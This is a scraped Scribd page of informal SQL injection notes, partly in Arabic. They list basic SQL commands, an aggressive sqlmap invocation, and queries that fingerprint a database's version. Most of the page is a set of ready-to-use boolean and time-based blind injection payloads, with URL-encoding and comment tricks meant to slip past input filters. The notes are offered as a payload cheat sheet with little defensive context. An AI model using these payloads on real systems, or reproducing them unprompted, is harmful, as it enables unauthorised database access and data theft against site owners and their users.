0% found this document useful (0 votes)
5 views3 pages

SQLi

SQL injection
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
5 views3 pages

SQLi

SQL injection
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 3

SQLi

 SELECT - extracts data from a database


 UPDATE - updates data in a database
 DELETE - deletes data from a database
 INSERT INTO - inserts new data into a
database
 CREATE DATABASE - creates a new
database
 ALTER DATABASE - modifies a database
 CREATE TABLE - creates a new table
 ALTER TABLE - modifies a table
 DROP TABLE - deletes a table
 CREATE INDEX - creates an index (search
key)
 DROP INDEX - deletes an index

If we don’t write the FROM clause with the


Oracle database, we’ll get an error.

* Where = having
* comments > [# , -- , /**/]
* limit num of db , num of output

Sqlmap -r file.txt --dbs --random-agent --


risk 3 --level 5 -p prameter

‫عشان تتجنب انواع الداتا حاول تستخدم‬


NULL

XOR(if(now()=sysdate(),sleep(5),0))XOR >>

this expression is likely an attempt to exploit a time-


based SQL injection vulnerability by introducing a delay
when certain conditions are met.

```````````````````````````````````````````````````````````````````
we could try to dump the database
version by the following techniques:

Oracle ==> SELECT banner FROM


v$version
Microsoft SQL Server ==> SELECT @@version
PostgreSQL ==> SELECT version()
MySQL ==> SELECT @@version

`````````````````````````````````````````
MySQL & MSSQL: ?lugu=316+AND+
(SELECT+SUBSTRING(@@version,1,1))='4'
Oracle: ?lugu=316+AND+
(SELECT+SUBSTR(version(),1,1)+FROM+DUAL)='4'
PostgreSQL: ?lugu=316+AND+(SELECT SUBSTRING(version(), 1,
1) = '4'

‘’’’’’’’’’’’’’’’’’’’’
SELECT 1 FROM INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_NAME LIKE 'a%'

‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’

AND+
(SELECT+1+FROM+INFORMATION_SCHEMA.SCHEMATA+W
HERE+SCHEMA_NAME+LIKE+'a%')%3d1
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’

ahmed'+AND+/**/(%53ELEcT+1+/**/+fRoM/**/+(SE
%4cEC%54(sL%45%45P(3%29%29%29a)+A
%4ed+'ahmed'%3d'ahmed

ahmed'|
(IF((now())LIKE(sysdate()),SLEEP(6),0))
|'ahmed

‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’

' || (select '') || '

‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’

?id=708'+ANd+E%4cT/**/(1337%3d1337,/**/sL%45EP
%283*4)/**//**//**/)+OR+/**/'1337'%3d'bug4y0u
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’

You might also like